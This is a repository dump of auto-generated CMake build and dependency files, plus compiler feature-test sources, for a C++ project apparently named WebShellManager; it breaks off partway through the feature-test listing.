https://raw.githubusercontent.com/imagemlt/WebShellManager/581a643795efa7cfcd4bd932955291912bb2809e/CMakeFiles/WebShellManager.dir/WebShell.cpp.o -------------------------------------------------------------------------------- /CMakeFiles/WebShellManager.dir/build.make: -------------------------------------------------------------------------------- 1 | # CMAKE generated file: DO NOT EDIT! 2 | # Generated by "Unix Makefiles" Generator, CMake Version 3.5 3 | 4 | # Delete rule output on recipe failure. 5 | .DELETE_ON_ERROR: 6 | 7 | 8 | #============================================================================= 9 | # Special targets provided by cmake. 10 | 11 | # Disable implicit rules so canonical targets will work. 12 | .SUFFIXES: 13 | 14 | 15 | # Remove some rules from gmake that .SUFFIXES does not remove. 16 | SUFFIXES = 17 | 18 | .SUFFIXES: .hpux_make_needs_suffix_list 19 | 20 | 21 | # Suppress display of executed commands. 22 | $(VERBOSE).SILENT: 23 | 24 | 25 | # A target that is always out of date. 26 | cmake_force: 27 | 28 | .PHONY : cmake_force 29 | 30 | #============================================================================= 31 | # Set environment variables for the build. 32 | 33 | # The shell in which to execute make rules. 34 | SHELL = /bin/sh 35 | 36 | # The CMake executable. 37 | CMAKE_COMMAND = /usr/bin/cmake 38 | 39 | # The command to remove a file. 40 | RM = /usr/bin/cmake -E remove -f 41 | 42 | # Escaping for special characters. 43 | EQUALS = = 44 | 45 | # The top-level source directory on which CMake was run. 46 | CMAKE_SOURCE_DIR = /home/image/projects/WebShellManager 47 | 48 | # The top-level build directory on which CMake was run. 49 | CMAKE_BINARY_DIR = /home/image/projects/WebShellManager 50 | 51 | # Include any dependencies generated for this target. 52 | include CMakeFiles/WebShellManager.dir/depend.make 53 | 54 | # Include the progress variables for this target. 55 | include CMakeFiles/WebShellManager.dir/progress.make 56 | 57 | # Include the compile flags for this target's objects. 58 | include CMakeFiles/WebShellManager.dir/flags.make 59 | 60 | CMakeFiles/WebShellManager.dir/cryptohelper.cpp.o: CMakeFiles/WebShellManager.dir/flags.make 61 | CMakeFiles/WebShellManager.dir/cryptohelper.cpp.o: cryptohelper.cpp 62 | @$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --green --progress-dir=/home/image/projects/WebShellManager/CMakeFiles --progress-num=$(CMAKE_PROGRESS_1) "Building CXX object CMakeFiles/WebShellManager.dir/cryptohelper.cpp.o" 63 | /usr/bin/c++ $(CXX_DEFINES) $(CXX_INCLUDES) $(CXX_FLAGS) -o CMakeFiles/WebShellManager.dir/cryptohelper.cpp.o -c /home/image/projects/WebShellManager/cryptohelper.cpp 64 | 65 | CMakeFiles/WebShellManager.dir/cryptohelper.cpp.i: cmake_force 66 | @$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --green "Preprocessing CXX source to CMakeFiles/WebShellManager.dir/cryptohelper.cpp.i" 67 | /usr/bin/c++ $(CXX_DEFINES) $(CXX_INCLUDES) $(CXX_FLAGS) -E /home/image/projects/WebShellManager/cryptohelper.cpp > CMakeFiles/WebShellManager.dir/cryptohelper.cpp.i 68 | 69 | CMakeFiles/WebShellManager.dir/cryptohelper.cpp.s: cmake_force 70 | @$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --green "Compiling CXX source to assembly CMakeFiles/WebShellManager.dir/cryptohelper.cpp.s" 71 | /usr/bin/c++ $(CXX_DEFINES) $(CXX_INCLUDES) $(CXX_FLAGS) -S /home/image/projects/WebShellManager/cryptohelper.cpp -o CMakeFiles/WebShellManager.dir/cryptohelper.cpp.s 72 | 73 | CMakeFiles/WebShellManager.dir/cryptohelper.cpp.o.requires: 74 | 75 | .PHONY : CMakeFiles/WebShellManager.dir/cryptohelper.cpp.o.requires 76 | 77 | CMakeFiles/WebShellManager.dir/cryptohelper.cpp.o.provides: CMakeFiles/WebShellManager.dir/cryptohelper.cpp.o.requires 78 | $(MAKE) -f CMakeFiles/WebShellManager.dir/build.make CMakeFiles/WebShellManager.dir/cryptohelper.cpp.o.provides.build 79 | .PHONY : CMakeFiles/WebShellManager.dir/cryptohelper.cpp.o.provides 80 | 81 | CMakeFiles/WebShellManager.dir/cryptohelper.cpp.o.provides.build: CMakeFiles/WebShellManager.dir/cryptohelper.cpp.o 82 | 83 | 84 | CMakeFiles/WebShellManager.dir/curlhelper.cpp.o: CMakeFiles/WebShellManager.dir/flags.make 85 | CMakeFiles/WebShellManager.dir/curlhelper.cpp.o: curlhelper.cpp 86 | @$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --green --progress-dir=/home/image/projects/WebShellManager/CMakeFiles --progress-num=$(CMAKE_PROGRESS_2) "Building CXX object CMakeFiles/WebShellManager.dir/curlhelper.cpp.o" 87 | /usr/bin/c++ $(CXX_DEFINES) $(CXX_INCLUDES) $(CXX_FLAGS) -o CMakeFiles/WebShellManager.dir/curlhelper.cpp.o -c /home/image/projects/WebShellManager/curlhelper.cpp 88 | 89 | CMakeFiles/WebShellManager.dir/curlhelper.cpp.i: cmake_force 90 | @$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --green "Preprocessing CXX source to CMakeFiles/WebShellManager.dir/curlhelper.cpp.i" 91 | /usr/bin/c++ $(CXX_DEFINES) $(CXX_INCLUDES) $(CXX_FLAGS) -E /home/image/projects/WebShellManager/curlhelper.cpp > CMakeFiles/WebShellManager.dir/curlhelper.cpp.i 92 | 93 | CMakeFiles/WebShellManager.dir/curlhelper.cpp.s: cmake_force 94 | @$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --green "Compiling CXX source to assembly CMakeFiles/WebShellManager.dir/curlhelper.cpp.s" 95 | /usr/bin/c++ $(CXX_DEFINES) $(CXX_INCLUDES) $(CXX_FLAGS) -S /home/image/projects/WebShellManager/curlhelper.cpp -o CMakeFiles/WebShellManager.dir/curlhelper.cpp.s 96 | 97 | CMakeFiles/WebShellManager.dir/curlhelper.cpp.o.requires: 98 | 99 | .PHONY : CMakeFiles/WebShellManager.dir/curlhelper.cpp.o.requires 100 | 101 | CMakeFiles/WebShellManager.dir/curlhelper.cpp.o.provides: CMakeFiles/WebShellManager.dir/curlhelper.cpp.o.requires 102 | $(MAKE) -f CMakeFiles/WebShellManager.dir/build.make CMakeFiles/WebShellManager.dir/curlhelper.cpp.o.provides.build 103 | .PHONY : CMakeFiles/WebShellManager.dir/curlhelper.cpp.o.provides 104 | 105 | CMakeFiles/WebShellManager.dir/curlhelper.cpp.o.provides.build: CMakeFiles/WebShellManager.dir/curlhelper.cpp.o 106 | 107 | 108 | CMakeFiles/WebShellManager.dir/main.cpp.o: CMakeFiles/WebShellManager.dir/flags.make 109 | CMakeFiles/WebShellManager.dir/main.cpp.o: main.cpp 110 | @$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --green --progress-dir=/home/image/projects/WebShellManager/CMakeFiles --progress-num=$(CMAKE_PROGRESS_3) "Building CXX object CMakeFiles/WebShellManager.dir/main.cpp.o" 111 | /usr/bin/c++ $(CXX_DEFINES) $(CXX_INCLUDES) $(CXX_FLAGS) -o CMakeFiles/WebShellManager.dir/main.cpp.o -c /home/image/projects/WebShellManager/main.cpp 112 | 113 | CMakeFiles/WebShellManager.dir/main.cpp.i: cmake_force 114 | @$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --green "Preprocessing CXX source to CMakeFiles/WebShellManager.dir/main.cpp.i" 115 | /usr/bin/c++ $(CXX_DEFINES) $(CXX_INCLUDES) $(CXX_FLAGS) -E /home/image/projects/WebShellManager/main.cpp > CMakeFiles/WebShellManager.dir/main.cpp.i 116 | 117 | CMakeFiles/WebShellManager.dir/main.cpp.s: cmake_force 118 | @$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --green "Compiling CXX source to assembly CMakeFiles/WebShellManager.dir/main.cpp.s" 119 | /usr/bin/c++ $(CXX_DEFINES) $(CXX_INCLUDES) $(CXX_FLAGS) -S /home/image/projects/WebShellManager/main.cpp -o CMakeFiles/WebShellManager.dir/main.cpp.s 120 | 121 | CMakeFiles/WebShellManager.dir/main.cpp.o.requires: 122 | 123 | .PHONY : CMakeFiles/WebShellManager.dir/main.cpp.o.requires 124 | 125 | CMakeFiles/WebShellManager.dir/main.cpp.o.provides: CMakeFiles/WebShellManager.dir/main.cpp.o.requires 126 | $(MAKE) -f CMakeFiles/WebShellManager.dir/build.make CMakeFiles/WebShellManager.dir/main.cpp.o.provides.build 127 | .PHONY : CMakeFiles/WebShellManager.dir/main.cpp.o.provides 128 | 129 | CMakeFiles/WebShellManager.dir/main.cpp.o.provides.build: CMakeFiles/WebShellManager.dir/main.cpp.o 130 | 131 | 132 | CMakeFiles/WebShellManager.dir/WebShell.cpp.o: CMakeFiles/WebShellManager.dir/flags.make 133 | CMakeFiles/WebShellManager.dir/WebShell.cpp.o: WebShell.cpp 134 | @$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --green --progress-dir=/home/image/projects/WebShellManager/CMakeFiles --progress-num=$(CMAKE_PROGRESS_4) "Building CXX object CMakeFiles/WebShellManager.dir/WebShell.cpp.o" 135 | /usr/bin/c++ $(CXX_DEFINES) $(CXX_INCLUDES) $(CXX_FLAGS) -o CMakeFiles/WebShellManager.dir/WebShell.cpp.o -c /home/image/projects/WebShellManager/WebShell.cpp 136 | 137 | CMakeFiles/WebShellManager.dir/WebShell.cpp.i: cmake_force 138 | @$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --green "Preprocessing CXX source to CMakeFiles/WebShellManager.dir/WebShell.cpp.i" 139 | /usr/bin/c++ $(CXX_DEFINES) $(CXX_INCLUDES) $(CXX_FLAGS) -E /home/image/projects/WebShellManager/WebShell.cpp > CMakeFiles/WebShellManager.dir/WebShell.cpp.i 140 | 141 | CMakeFiles/WebShellManager.dir/WebShell.cpp.s: cmake_force 142 | @$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --green "Compiling CXX source to assembly CMakeFiles/WebShellManager.dir/WebShell.cpp.s" 143 | /usr/bin/c++ $(CXX_DEFINES) $(CXX_INCLUDES) $(CXX_FLAGS) -S /home/image/projects/WebShellManager/WebShell.cpp -o CMakeFiles/WebShellManager.dir/WebShell.cpp.s 144 | 145 | CMakeFiles/WebShellManager.dir/WebShell.cpp.o.requires: 146 | 147 | .PHONY : CMakeFiles/WebShellManager.dir/WebShell.cpp.o.requires 148 | 149 | CMakeFiles/WebShellManager.dir/WebShell.cpp.o.provides: CMakeFiles/WebShellManager.dir/WebShell.cpp.o.requires 150 | $(MAKE) -f CMakeFiles/WebShellManager.dir/build.make CMakeFiles/WebShellManager.dir/WebShell.cpp.o.provides.build 151 | .PHONY : CMakeFiles/WebShellManager.dir/WebShell.cpp.o.provides 152 | 153 | CMakeFiles/WebShellManager.dir/WebShell.cpp.o.provides.build: CMakeFiles/WebShellManager.dir/WebShell.cpp.o 154 | 155 | 156 | # Object files for target WebShellManager 157 | WebShellManager_OBJECTS = \ 158 | "CMakeFiles/WebShellManager.dir/cryptohelper.cpp.o" \ 159 | "CMakeFiles/WebShellManager.dir/curlhelper.cpp.o" \ 160 | "CMakeFiles/WebShellManager.dir/main.cpp.o" \ 161 | "CMakeFiles/WebShellManager.dir/WebShell.cpp.o" 162 | 163 | # External object files for target WebShellManager 164 | WebShellManager_EXTERNAL_OBJECTS = 165 | 166 | WebShellManager: CMakeFiles/WebShellManager.dir/cryptohelper.cpp.o 167 | WebShellManager: CMakeFiles/WebShellManager.dir/curlhelper.cpp.o 168 | WebShellManager: CMakeFiles/WebShellManager.dir/main.cpp.o 169 | WebShellManager: CMakeFiles/WebShellManager.dir/WebShell.cpp.o 170 | WebShellManager: CMakeFiles/WebShellManager.dir/build.make 171 | WebShellManager: CMakeFiles/WebShellManager.dir/link.txt 172 | @$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --green --bold --progress-dir=/home/image/projects/WebShellManager/CMakeFiles --progress-num=$(CMAKE_PROGRESS_5) "Linking CXX executable WebShellManager" 173 | $(CMAKE_COMMAND) -E cmake_link_script CMakeFiles/WebShellManager.dir/link.txt --verbose=$(VERBOSE) 174 | 175 | # Rule to build all files generated by this target. 176 | CMakeFiles/WebShellManager.dir/build: WebShellManager 177 | 178 | .PHONY : CMakeFiles/WebShellManager.dir/build 179 | 180 | CMakeFiles/WebShellManager.dir/requires: CMakeFiles/WebShellManager.dir/cryptohelper.cpp.o.requires 181 | CMakeFiles/WebShellManager.dir/requires: CMakeFiles/WebShellManager.dir/curlhelper.cpp.o.requires 182 | CMakeFiles/WebShellManager.dir/requires: CMakeFiles/WebShellManager.dir/main.cpp.o.requires 183 | CMakeFiles/WebShellManager.dir/requires: CMakeFiles/WebShellManager.dir/WebShell.cpp.o.requires 184 | 185 | .PHONY : CMakeFiles/WebShellManager.dir/requires 186 | 187 | CMakeFiles/WebShellManager.dir/clean: 188 | $(CMAKE_COMMAND) -P CMakeFiles/WebShellManager.dir/cmake_clean.cmake 189 | .PHONY : CMakeFiles/WebShellManager.dir/clean 190 | 191 | CMakeFiles/WebShellManager.dir/depend: 192 | cd /home/image/projects/WebShellManager && $(CMAKE_COMMAND) -E cmake_depends "Unix Makefiles" /home/image/projects/WebShellManager /home/image/projects/WebShellManager /home/image/projects/WebShellManager /home/image/projects/WebShellManager /home/image/projects/WebShellManager/CMakeFiles/WebShellManager.dir/DependInfo.cmake --color=$(COLOR) 193 | .PHONY : CMakeFiles/WebShellManager.dir/depend 194 | 195 | -------------------------------------------------------------------------------- /CMakeFiles/WebShellManager.dir/cmake_clean.cmake: -------------------------------------------------------------------------------- 1 | file(REMOVE_RECURSE 2 | "CMakeFiles/WebShellManager.dir/cryptohelper.cpp.o" 3 | "CMakeFiles/WebShellManager.dir/curlhelper.cpp.o" 4 | "CMakeFiles/WebShellManager.dir/main.cpp.o" 5 | "CMakeFiles/WebShellManager.dir/WebShell.cpp.o" 6 | "WebShellManager.pdb" 7 | "WebShellManager" 8 | ) 9 | 10 | # Per-language clean rules from dependency scanning. 11 | foreach(lang CXX) 12 | include(CMakeFiles/WebShellManager.dir/cmake_clean_${lang}.cmake OPTIONAL) 13 | endforeach() 14 | -------------------------------------------------------------------------------- /CMakeFiles/WebShellManager.dir/cryptohelper.cpp.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/imagemlt/WebShellManager/581a643795efa7cfcd4bd932955291912bb2809e/CMakeFiles/WebShellManager.dir/cryptohelper.cpp.o -------------------------------------------------------------------------------- /CMakeFiles/WebShellManager.dir/curlhelper.cpp.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/imagemlt/WebShellManager/581a643795efa7cfcd4bd932955291912bb2809e/CMakeFiles/WebShellManager.dir/curlhelper.cpp.o -------------------------------------------------------------------------------- /CMakeFiles/WebShellManager.dir/depend.internal: -------------------------------------------------------------------------------- 1 | # CMAKE generated file: DO NOT EDIT! 2 | # Generated by "Unix Makefiles" Generator, CMake Version 3.5 3 | 4 | CMakeFiles/WebShellManager.dir/WebShell.cpp.o 5 | /home/image/projects/WebShellManager/WebShell.cpp 6 | /home/image/projects/WebShellManager/WebShell.h 7 | /home/image/projects/WebShellManager/cryptohelper.h 8 | /home/image/projects/WebShellManager/curlhelper.h 9 | CMakeFiles/WebShellManager.dir/cryptohelper.cpp.o 10 | /home/image/projects/WebShellManager/cryptohelper.cpp 11 | /home/image/projects/WebShellManager/cryptohelper.h 12 | CMakeFiles/WebShellManager.dir/curlhelper.cpp.o 13 | /home/image/projects/WebShellManager/curlhelper.cpp 14 | /home/image/projects/WebShellManager/curlhelper.h 15 | CMakeFiles/WebShellManager.dir/main.cpp.o 16 | /home/image/projects/WebShellManager/WebShell.h 17 | /home/image/projects/WebShellManager/cryptohelper.h 18 | /home/image/projects/WebShellManager/curlhelper.h 19 | /home/image/projects/WebShellManager/json.hpp 20 | /home/image/projects/WebShellManager/main.cpp 21 | -------------------------------------------------------------------------------- /CMakeFiles/WebShellManager.dir/depend.make: -------------------------------------------------------------------------------- 1 | # CMAKE generated file: DO NOT EDIT! 2 | # Generated by "Unix Makefiles" Generator, CMake Version 3.5 3 | 4 | CMakeFiles/WebShellManager.dir/WebShell.cpp.o: WebShell.cpp 5 | CMakeFiles/WebShellManager.dir/WebShell.cpp.o: WebShell.h 6 | CMakeFiles/WebShellManager.dir/WebShell.cpp.o: cryptohelper.h 7 | CMakeFiles/WebShellManager.dir/WebShell.cpp.o: curlhelper.h 8 | 9 | CMakeFiles/WebShellManager.dir/cryptohelper.cpp.o: cryptohelper.cpp 10 | CMakeFiles/WebShellManager.dir/cryptohelper.cpp.o: cryptohelper.h 11 | 12 | CMakeFiles/WebShellManager.dir/curlhelper.cpp.o: curlhelper.cpp 13 | CMakeFiles/WebShellManager.dir/curlhelper.cpp.o: curlhelper.h 14 | 15 | CMakeFiles/WebShellManager.dir/main.cpp.o: WebShell.h 16 | CMakeFiles/WebShellManager.dir/main.cpp.o: cryptohelper.h 17 | CMakeFiles/WebShellManager.dir/main.cpp.o: curlhelper.h 18 | CMakeFiles/WebShellManager.dir/main.cpp.o: json.hpp 19 | CMakeFiles/WebShellManager.dir/main.cpp.o: main.cpp 20 | 21 | -------------------------------------------------------------------------------- /CMakeFiles/WebShellManager.dir/flags.make: -------------------------------------------------------------------------------- 1 | # CMAKE generated file: DO NOT EDIT! 2 | # Generated by "Unix Makefiles" Generator, CMake Version 3.5 3 | 4 | # compile CXX with /usr/bin/c++ 5 | CXX_FLAGS = -lcurl -pthread -g -std=gnu++11 6 | 7 | CXX_DEFINES = 8 | 9 | CXX_INCLUDES = 10 | 11 | -------------------------------------------------------------------------------- /CMakeFiles/WebShellManager.dir/link.txt: -------------------------------------------------------------------------------- 1 | /usr/bin/c++ -lcurl -pthread -g CMakeFiles/WebShellManager.dir/cryptohelper.cpp.o CMakeFiles/WebShellManager.dir/curlhelper.cpp.o CMakeFiles/WebShellManager.dir/main.cpp.o CMakeFiles/WebShellManager.dir/WebShell.cpp.o -o WebShellManager -rdynamic -lcurl 2 | -------------------------------------------------------------------------------- /CMakeFiles/WebShellManager.dir/main.cpp.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/imagemlt/WebShellManager/581a643795efa7cfcd4bd932955291912bb2809e/CMakeFiles/WebShellManager.dir/main.cpp.o -------------------------------------------------------------------------------- /CMakeFiles/WebShellManager.dir/progress.make: -------------------------------------------------------------------------------- 1 | CMAKE_PROGRESS_1 = 1 2 | CMAKE_PROGRESS_2 = 2 3 | CMAKE_PROGRESS_3 = 3 4 | CMAKE_PROGRESS_4 = 4 5 | CMAKE_PROGRESS_5 = 5 6 | 7 | -------------------------------------------------------------------------------- /CMakeFiles/clion-environment.txt: -------------------------------------------------------------------------------- 1 | Options: 2 | 3 | Options: -------------------------------------------------------------------------------- /CMakeFiles/cmake.check_cache: -------------------------------------------------------------------------------- 1 | # This file is generated by cmake for dependency checking of the CMakeCache.txt file 2 | -------------------------------------------------------------------------------- /CMakeFiles/feature_tests.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/imagemlt/WebShellManager/581a643795efa7cfcd4bd932955291912bb2809e/CMakeFiles/feature_tests.bin -------------------------------------------------------------------------------- /CMakeFiles/feature_tests.c: -------------------------------------------------------------------------------- 1 | 2 | const char features[] = {"\n" 3 | "C_FEATURE:" 4 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 404 5 | "1" 6 | #else 7 | "0" 8 | #endif 9 | "c_function_prototypes\n" 10 | "C_FEATURE:" 11 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 404 && defined(__STDC_VERSION__) && __STDC_VERSION__ >= 199901L 12 | "1" 13 | #else 14 | "0" 15 | #endif 16 | "c_restrict\n" 17 | "C_FEATURE:" 18 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 406 && defined(__STDC_VERSION__) && __STDC_VERSION__ >= 201000L 19 | "1" 20 | #else 21 | "0" 22 | #endif 23 | "c_static_assert\n" 24 | "C_FEATURE:" 25 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 404 && defined(__STDC_VERSION__) && __STDC_VERSION__ >= 199901L 26 | "1" 27 | #else 28 | "0" 29 | #endif 30 | "c_variadic_macros\n" 31 | 32 | }; 33 | 34 | int main(int argc, char** argv) { (void)argv; return features[argc]; } 35 | -------------------------------------------------------------------------------- /CMakeFiles/feature_tests.cxx: -------------------------------------------------------------------------------- 1 | 2 | const char features[] = {"\n" 3 | "CXX_FEATURE:" 4 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 500 && __cplusplus >= 201402L 5 | "1" 6 | #else 7 | "0" 8 | #endif 9 | "cxx_aggregate_default_initializers\n" 10 | "CXX_FEATURE:" 11 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 407 && __cplusplus >= 201103L 12 | "1" 13 | #else 14 | "0" 15 | #endif 16 | "cxx_alias_templates\n" 17 | "CXX_FEATURE:" 18 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 408 && __cplusplus >= 201103L 19 | "1" 20 | #else 21 | "0" 22 | #endif 23 | "cxx_alignas\n" 24 | "CXX_FEATURE:" 25 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 408 && __cplusplus >= 201103L 26 | "1" 27 | #else 28 | "0" 29 | #endif 30 | "cxx_alignof\n" 31 | "CXX_FEATURE:" 32 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 408 && __cplusplus >= 201103L 33 | "1" 34 | #else 35 | "0" 36 | #endif 37 | "cxx_attributes\n" 38 | "CXX_FEATURE:" 39 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 409 && __cplusplus > 201103L 40 | "1" 41 | #else 42 | "0" 43 | #endif 44 | "cxx_attribute_deprecated\n" 45 | "CXX_FEATURE:" 46 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 404 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 47 | "1" 48 | #else 49 | "0" 50 | #endif 51 | "cxx_auto_type\n" 52 | "CXX_FEATURE:" 53 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 409 && __cplusplus > 201103L 54 | "1" 55 | #else 56 | "0" 57 | #endif 58 | "cxx_binary_literals\n" 59 | "CXX_FEATURE:" 60 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 406 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 61 | "1" 62 | #else 63 | "0" 64 | #endif 65 | "cxx_constexpr\n" 66 | "CXX_FEATURE:" 67 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 409 && __cplusplus > 201103L 68 | "1" 69 | #else 70 | "0" 71 | #endif 72 | "cxx_contextual_conversions\n" 73 | "CXX_FEATURE:" 74 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 404 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 75 | "1" 76 | #else 77 | "0" 78 | #endif 79 | "cxx_decltype\n" 80 | "CXX_FEATURE:" 81 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 409 && __cplusplus > 201103L 82 | "1" 83 | #else 84 | "0" 85 | #endif 86 | "cxx_decltype_auto\n" 87 | "CXX_FEATURE:" 88 | #if ((__GNUC__ * 10000 + __GNUC_MINOR__ * 100 + __GNUC_PATCHLEVEL__) >= 40801) && __cplusplus >= 201103L 89 | "1" 90 | #else 91 | "0" 92 | #endif 93 | "cxx_decltype_incomplete_return_types\n" 94 | "CXX_FEATURE:" 95 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 404 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 96 | "1" 97 | #else 98 | "0" 99 | #endif 100 | "cxx_default_function_template_args\n" 101 | "CXX_FEATURE:" 102 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 404 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 103 | "1" 104 | #else 105 | "0" 106 | #endif 107 | "cxx_defaulted_functions\n" 108 | "CXX_FEATURE:" 109 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 406 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 110 | "1" 111 | #else 112 | "0" 113 | #endif 114 | "cxx_defaulted_move_initializers\n" 115 | "CXX_FEATURE:" 116 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 407 && __cplusplus >= 201103L 117 | "1" 118 | #else 119 | "0" 120 | #endif 121 | "cxx_delegating_constructors\n" 122 | "CXX_FEATURE:" 123 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 404 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 124 | "1" 125 | #else 126 | "0" 127 | #endif 128 | "cxx_deleted_functions\n" 129 | "CXX_FEATURE:" 130 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 409 && __cplusplus > 201103L 131 | "1" 132 | #else 133 | "0" 134 | #endif 135 | "cxx_digit_separators\n" 136 | "CXX_FEATURE:" 137 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 406 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 138 | "1" 139 | #else 140 | "0" 141 | #endif 142 | "cxx_enum_forward_declarations\n" 143 | "CXX_FEATURE:" 144 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 405 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 145 | "1" 146 | #else 147 | "0" 148 | #endif 149 | "cxx_explicit_conversions\n" 150 | "CXX_FEATURE:" 151 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 407 && __cplusplus >= 201103L 152 | "1" 153 | #else 154 | "0" 155 | #endif 156 | "cxx_extended_friend_declarations\n" 157 | "CXX_FEATURE:" 158 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 404 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 159 | "1" 160 | #else 161 | "0" 162 | #endif 163 | "cxx_extern_templates\n" 164 | "CXX_FEATURE:" 165 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 407 && __cplusplus >= 201103L 166 | "1" 167 | #else 168 | "0" 169 | #endif 170 | "cxx_final\n" 171 | "CXX_FEATURE:" 172 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 404 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 173 | "1" 174 | #else 175 | "0" 176 | #endif 177 | "cxx_func_identifier\n" 178 | "CXX_FEATURE:" 179 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 404 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 180 | "1" 181 | #else 182 | "0" 183 | #endif 184 | "cxx_generalized_initializers\n" 185 | "CXX_FEATURE:" 186 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 409 && __cplusplus > 201103L 187 | "1" 188 | #else 189 | "0" 190 | #endif 191 | "cxx_generic_lambdas\n" 192 | "CXX_FEATURE:" 193 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 408 && __cplusplus >= 201103L 194 | "1" 195 | #else 196 | "0" 197 | #endif 198 | "cxx_inheriting_constructors\n" 199 | "CXX_FEATURE:" 200 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 404 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 201 | "1" 202 | #else 203 | "0" 204 | #endif 205 | "cxx_inline_namespaces\n" 206 | "CXX_FEATURE:" 207 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 405 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 208 | "1" 209 | #else 210 | "0" 211 | #endif 212 | "cxx_lambdas\n" 213 | "CXX_FEATURE:" 214 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 409 && __cplusplus > 201103L 215 | "1" 216 | #else 217 | "0" 218 | #endif 219 | "cxx_lambda_init_captures\n" 220 | "CXX_FEATURE:" 221 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 405 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 222 | "1" 223 | #else 224 | "0" 225 | #endif 226 | "cxx_local_type_template_args\n" 227 | "CXX_FEATURE:" 228 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 404 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 229 | "1" 230 | #else 231 | "0" 232 | #endif 233 | "cxx_long_long_type\n" 234 | "CXX_FEATURE:" 235 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 406 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 236 | "1" 237 | #else 238 | "0" 239 | #endif 240 | "cxx_noexcept\n" 241 | "CXX_FEATURE:" 242 | #if (__GNUC__ * 100 + 